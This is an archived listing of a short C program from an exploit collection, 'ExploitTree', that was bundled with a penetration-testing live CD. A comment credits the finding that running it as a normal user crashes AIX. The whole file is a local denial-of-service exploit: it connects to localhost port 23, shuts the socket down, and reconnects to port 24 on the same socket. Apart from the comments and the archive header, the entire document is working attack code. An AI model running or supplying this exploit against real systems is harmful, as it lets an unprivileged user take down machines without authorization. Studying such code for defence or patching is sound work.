home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / remote / connect.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  823b  |  29 lines

  1. /*
  2.     Cahya Wirawan found that when you run this tcp program abobe as  a
  3.     normal user connect crashes aix.
  4.  */
  5.  
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <sys/time.h>
  10. #include <netdb.h>
  11. #include <stdio.h>
  12.  
  13. main()
  14. {
  15.   int sock;
  16.   struct sockaddr_in server;
  17.   struct hostent *hp;
  18.   sock = socket(AF_INET, SOCK_STREAM, 0);
  19.   /* or sock = socket(AF_INET, SOCK_STREAM, 6); */
  20.   hp = gethostbyname("localhost");
  21.   bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
  22.   server.sin_family = AF_INET;
  23.   server.sin_port = 23;
  24.   connect(sock, (struct sockaddr *)&server, sizeof server);
  25.   shutdown(sock, 2);
  26.   server.sin_port = 24;
  27.   connect(sock, (struct sockaddr *)&server, sizeof server);
  28. }
  29. /*                    www.hack.co.za              [2000]*/